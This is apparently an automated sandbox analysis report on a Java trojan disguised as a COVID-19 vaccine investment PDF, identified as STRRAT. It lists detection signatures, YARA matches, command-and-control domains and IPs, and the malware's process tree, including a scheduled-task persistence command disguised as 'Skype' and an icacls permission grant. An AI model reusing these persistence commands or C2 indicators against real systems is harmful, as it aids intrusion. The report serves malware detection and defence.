Play interactive tour

Edit tour

Analysis Report Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar

Overview

General Information

Sample Name:	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar
Analysis ID:	356987
MD5:	5435ec679cdd07fe6f4fc6f49a117ea8
SHA1:	eab4494e7db4bcbebf9dc5c0197ce0081a6dda6e
SHA256:	5a962977909fafba0a1c202306068bd5f8297335b16989a07c1f119302155c84
Infos:
Most interesting Screenshot:

Detection

STRRAT

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected STRRAT

Connects to a pastebin service (likely for C&C)

Creates autostart registry keys to launch java

Creates multiple autostart registry keys

Exploit detected, runtime environment dropped PE file

Exploit detected, runtime environment starts unknown processes

Uses dynamic DNS services

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Allatori_JAR_Obfuscator

Contains capabilities to detect virtual machines

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the installed Java version

Queries the volume information (name, serial number etc) of a device

Stores files to the Windows start menu directory

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

cmd.exe (PID: 4952 cmdline: C:\Windows\system32\cmd.exe /c 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

7za.exe (PID: 384 cmdline: 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 4904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

java.exe (PID: 6284 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp MD5: 28733BA8C383E865338638DF5196E6FE)

conhost.exe (PID: 6364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4120 cmdline: 'C:\Windows\System32\cmd.exe' /c java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl >> C:\cmdlinestart.log 2>&1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

java.exe (PID: 5544 cmdline: java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl MD5: 28733BA8C383E865338638DF5196E6FE)

icacls.exe (PID: 5980 cmdline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 'everyone':(OI)(CI)M MD5: FF0D1D4317A44C951240FAE75075D501)

conhost.exe (PID: 384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

wscript.exe (PID: 5712 cmdline: wscript C:\Users\user\fukvowbkrs.js MD5: 7075DD7B9BE8807FCA93ACD86F724884)

javaw.exe (PID: 3164 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt' MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

java.exe (PID: 720 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\vmlpusjwhz.txt' MD5: 28733BA8C383E865338638DF5196E6FE)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5848 cmdline: cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5312 cmdline: schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt' MD5: 15FF7D8324231381BAD48A052F85DF04)

java.exe (PID: 4952 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt' MD5: 28733BA8C383E865338638DF5196E6FE)

notepad.exe (PID: 2596 cmdline: C:\Windows\system32\NOTEPAD.EXE C:\Users\user\AppData\Roaming\vmlpusjwhz.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

notepad.exe (PID: 6576 cmdline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

notepad.exe (PID: 7136 cmdline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

javaw.exe (PID: 4880 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

notepad.exe (PID: 6504 cmdline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

javaw.exe (PID: 6568 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\jar\keuqzwqbvn\resources\umxybpjabc	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x34d:$x1: 78 34 4E 54 56 63 65 44 51 31 58 48 67 0x35d:$x1: 78 34 4E 44 52 63 65 44 51 79 58 48 67 0x36d:$x1: 78 34 4E 54 46 63 65 44 4E 46 58 48 67 0x37d:$x1: 78 34 4E 44 42 63 65 44 51 7A 58 48 67 0x39d:$x1: 78 34 4E 44 6C 63 65 44 4E 46 58 48 67 0x3ad:$x1: 78 34 4E 44 42 63 65 44 52 42 58 48 67 0x3bd:$x1: 78 34 4E 54 6D 63 65 44 55 32 58 48 67 0x3cd:$x1: 78 34 4E 44 6C 63 65 44 4E 46 58 48 67 0x3dd:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x3ed:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x3fd:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x40d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x41d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x42d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x43d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x44d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x45d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x46d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x47d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x48d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x49d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
C:\Users\user\fukvowbkrs.js	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x34d:$x1: 78 34 4E 54 56 63 65 44 51 31 58 48 67 0x35d:$x1: 78 34 4E 44 52 63 65 44 51 79 58 48 67 0x36d:$x1: 78 34 4E 54 46 63 65 44 4E 46 58 48 67 0x37d:$x1: 78 34 4E 44 42 63 65 44 51 7A 58 48 67 0x39d:$x1: 78 34 4E 44 6C 63 65 44 4E 46 58 48 67 0x3ad:$x1: 78 34 4E 44 42 63 65 44 52 42 58 48 67 0x3bd:$x1: 78 34 4E 54 6D 63 65 44 55 32 58 48 67 0x3cd:$x1: 78 34 4E 44 6C 63 65 44 4E 46 58 48 67 0x3dd:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x3ed:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x3fd:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x40d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x41d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x42d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x43d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x44d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x45d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x46d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x47d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x48d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x49d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67

Memory Dumps

Source	Rule	Description	Author	Strings
00000018.00000002.521334832.000000000A810000.00000004.00000001.sdmp	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
00000010.00000002.519763899.0000000004ECD000.00000004.00000001.sdmp	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
00000010.00000002.520726996.0000000009F9E000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000027.00000002.352640886.000000000461D000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000018.00000002.517833863.000000000543D000.00000004.00000001.sdmp	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
00000018.00000002.520047801.000000000A56A000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000018.00000002.520214796.000000000A5A2000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000027.00000002.352612506.0000000004610000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
0000000B.00000002.238594494.0000000009FA0000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000024.00000002.317682510.0000000004E1D000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
0000000D.00000002.253231810.000000000A5A0000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
0000000D.00000002.252958465.0000000005427000.00000004.00000001.sdmp	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
0000000D.00000002.252569519.00000000051C5000.00000004.00000001.sdmp	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
0000000B.00000002.238481797.0000000009F6E000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000006.00000002.207844794.0000000014D78000.00000004.00000001.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x49505:$x1: 78 34 4E 54 56 63 65 44 4E 46 58 48 67 0x49515:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x49525:$x1: 78 34 4E 44 42 63 65 44 59 33 58 48 67 0x49535:$x1: 78 34 4E 44 4E 63 65 44 4E 46 58 48 67 0x49545:$x1: 78 34 4E 44 42 63 65 44 51 7A 58 48 67 0x49555:$x1: 78 34 4E 44 5A 63 65 44 5A 44 58 48 67 0x49565:$x1: 78 34 4E 54 4E 63 65 44 59 35 58 48 67 0x49585:$x1: 78 34 4E 6A 6D 63 65 44 59 30 58 48 67 0x49595:$x1: 78 34 4E 6B 5A 63 65 44 52 42 58 48 67 0x495c5:$x1: 78 34 4E 45 56 63 65 44 51 31 58 48 67 0x495f5:$x1: 78 34 4E 44 5A 63 65 44 59 33 58 48 67 0x49705:$x1: 78 34 4E 30 46 63 65 44 55 77 58 48 67 0x49715:$x1: 78 34 4E 44 56 63 65 44 4E 46 58 48 67 0x49725:$x1: 78 34 4E 44 42 63 65 44 55 35 58 48 67 0x49735:$x1: 78 34 4E 44 5A 63 65 44 63 35 58 48 67 0x49745:$x1: 78 34 4E 44 6D 63 65 44 51 32 58 48 67 0x49755:$x1: 78 34 4E 54 6C 63 65 44 5A 45 58 48 67 0x49765:$x1: 78 34 4E 7A 5A 63 65 44 59 7A 58 48 67 0x49775:$x1: 78 34 4E 45 56 63 65 44 4D 77 58 48 67 0x49785:$x1: 78 34 4E 54 6D 63 65 44 55 79 58 48 67 0x49795:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67
00000002.00000003.200309664.0000000002C90000.00000004.00000001.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x63d:$x1: 78 34 4E 44 42 63 65 44 51 32 58 48 67 0x66d:$x1: 78 34 4E 44 4E 63 65 44 4E 46 58 48 67 0x67d:$x1: 78 34 4E 44 42 63 65 44 59 33 58 48 67 0x69d:$x1: 78 34 4E 7A 68 63 65 44 56 42 58 48 67 0x6ad:$x1: 78 34 4E 54 56 63 65 44 5A 47 58 48 67 0x6bd:$x1: 78 34 4E 54 6C 63 65 44 55 34 58 48 67 0x6dd:$x1: 78 34 4E 6A 6D 63 65 44 4E 46 58 48 67 0x6ed:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x6fd:$x1: 78 34 4E 44 42 63 65 44 63 34 58 48 67 0x70d:$x1: 78 34 4E 44 56 63 65 44 4E 46 58 48 67 0x71d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x72d:$x1: 78 34 4E 44 42 63 65 44 51 79 58 48 67 0x84d:$x1: 78 34 4E 54 4E 63 65 44 5A 43 58 48 67 0x85d:$x1: 78 34 4E 44 4A 63 65 44 4E 46 58 48 67 0x86d:$x1: 78 34 4E 44 42 63 65 44 51 33 58 48 67 0x87d:$x1: 78 34 4E 6A 68 63 65 44 59 7A 58 48 67 0x88d:$x1: 78 34 4E 7A 68 63 65 44 59 34 58 48 67 0x89d:$x1: 78 34 4E 54 6D 63 65 44 52 42 58 48 67 0x8ad:$x1: 78 34 4E 45 4E 63 65 44 4D 79 58 48 67 0x8bd:$x1: 78 34 4E 7A 6C 63 65 44 59 30 58 48 67 0x8cd:$x1: 78 34 4E 54 4A 63 65 44 59 35 58 48 67
00000024.00000002.317809866.0000000004E65000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000010.00000002.520453366.0000000009F6C000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000027.00000002.352788509.0000000004665000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000024.00000002.317648149.0000000004E10000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
0000000D.00000002.253164708.000000000A56E000.00000004.00000001.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
Process Memory Space: 7za.exe PID: 384	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x38cc4:$x1: 78 34 4E 44 42 63 65 44 51 32 58 48 67 0x38cf4:$x1: 78 34 4E 44 4E 63 65 44 4E 46 58 48 67 0x38d04:$x1: 78 34 4E 44 42 63 65 44 59 33 58 48 67 0x38d24:$x1: 78 34 4E 7A 68 63 65 44 56 42 58 48 67 0x38d34:$x1: 78 34 4E 54 56 63 65 44 5A 47 58 48 67 0x38d44:$x1: 78 34 4E 54 6C 63 65 44 55 34 58 48 67 0x38d64:$x1: 78 34 4E 6A 6D 63 65 44 4E 46 58 48 67 0x38d74:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x38d84:$x1: 78 34 4E 44 42 63 65 44 63 34 58 48 67 0x38d94:$x1: 78 34 4E 44 56 63 65 44 4E 46 58 48 67 0x38da4:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67 0x38db4:$x1: 78 34 4E 44 42 63 65 44 51 79 58 48 67 0x38ed4:$x1: 78 34 4E 54 4E 63 65 44 5A 43 58 48 67 0x38ee4:$x1: 78 34 4E 44 4A 63 65 44 4E 46 58 48 67 0x38ef4:$x1: 78 34 4E 44 42 63 65 44 51 33 58 48 67 0x38f04:$x1: 78 34 4E 6A 68 63 65 44 59 7A 58 48 67 0x38f14:$x1: 78 34 4E 7A 68 63 65 44 59 34 58 48 67 0x38f24:$x1: 78 34 4E 54 6D 63 65 44 52 42 58 48 67 0x38f34:$x1: 78 34 4E 45 4E 63 65 44 4D 79 58 48 67 0x38f44:$x1: 78 34 4E 7A 6C 63 65 44 59 30 58 48 67 0x38f54:$x1: 78 34 4E 54 4A 63 65 44 59 35 58 48 67
Process Memory Space: java.exe PID: 720	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
Process Memory Space: java.exe PID: 720	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
Process Memory Space: java.exe PID: 4952	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
Process Memory Space: java.exe PID: 4952	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
Process Memory Space: javaw.exe PID: 3164	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
Click to see the 23 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.3:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.3:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.3:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.3:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.154:443 -> 192.168.2.3:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.23.99.190:443 -> 192.168.2.3:49729 version: TLS 1.2

Software Vulnerabilities:

Exploit detected, runtime environment starts unknown processes

Show sources

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Process created: C:\Windows\SysWOW64\wscript.exe

Networking:

Connects to a pastebin service (likely for C&C)

Show sources

Source: unknown

DNS query: name: pastebin.com

Uses dynamic DNS services

Show sources

Source: unknown	DNS query: name: pluginserver.duckdns.org
Source: unknown	DNS query: name: strizzz100.duckdns.org

Source: global traffic	TCP traffic: 192.168.2.3:49728 -> 107.175.144.243:4040
Source: global traffic	TCP traffic: 192.168.2.3:49732 -> 23.239.31.129:54557

Source: Joe Sandbox View	IP Address: 104.23.99.190 104.23.99.190
Source: Joe Sandbox View	IP Address: 104.23.99.190 104.23.99.190
Source: Joe Sandbox View	IP Address: 23.239.31.129 23.239.31.129

Source: Joe Sandbox View

ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS

Source: Joe Sandbox View

JA3 fingerprint: d2935c58fe676744fecc8614ee5356c7

Source: unknown

DNS traffic detected: queries for: repo1.maven.org

Source: java.exe, 0000000D.00000002.252198805.0000000005052000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520685745.0000000009F96000.00000004.00000001.sdmp	String found in binary or memory: http://bugreport.sun.com/bugreport/
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt
Source: javaw.exe, 0000000B.00000002.240730122.000000000A276000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0
Source: javaw.exe, 0000000B.00000002.238279843.0000000004EEF000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt3
Source: javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt;S
Source: javaw.exe, 0000000B.00000002.238100254.0000000004E6C000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crtA
Source: javaw.exe, 0000000B.00000002.238100254.0000000004E6C000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crtA0
Source: javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crtCp3
Source: javaw.exe, 0000000B.00000002.238279843.0000000004EEF000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crts
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt
Source: javaw.exe, 0000000B.00000002.238166814.0000000004EAC000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt0
Source: javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt3r3
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crlC5
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253571843.000000000A727000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253571843.000000000A727000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253571843.000000000A727000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl
Source: javaw.exe, 0000000B.00000002.238166814.0000000004EAC000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crlK
Source: javaw.exe, 0000000B.00000002.238279843.0000000004EEF000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g6.crl
Source: javaw.exe, 0000000B.00000002.240730122.000000000A276000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g6.crl04
Source: javaw.exe, 0000000B.00000002.238100254.0000000004E6C000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g6.crlA0
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/ssca-sha2-g6.crl
Source: javaw.exe, 0000000B.00000002.238166814.0000000004EAC000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/ssca-sha2-g6.crl0/
Source: javaw.exe, 0000000B.00000002.238201447.0000000004EB6000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/ssca-sha2-g6.crlk
Source: javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl
Source: javaw.exe, 0000000B.00000002.238166814.0000000004EAC000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl0=
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238111305.0000000004E79000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl
Source: javaw.exe, 0000000B.00000002.241025352.000000000A317000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: javaw.exe, 0000000B.00000002.241108342.000000000A32F000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crl
Source: javaw.exe, 0000000B.00000002.240730122.000000000A276000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crl0L
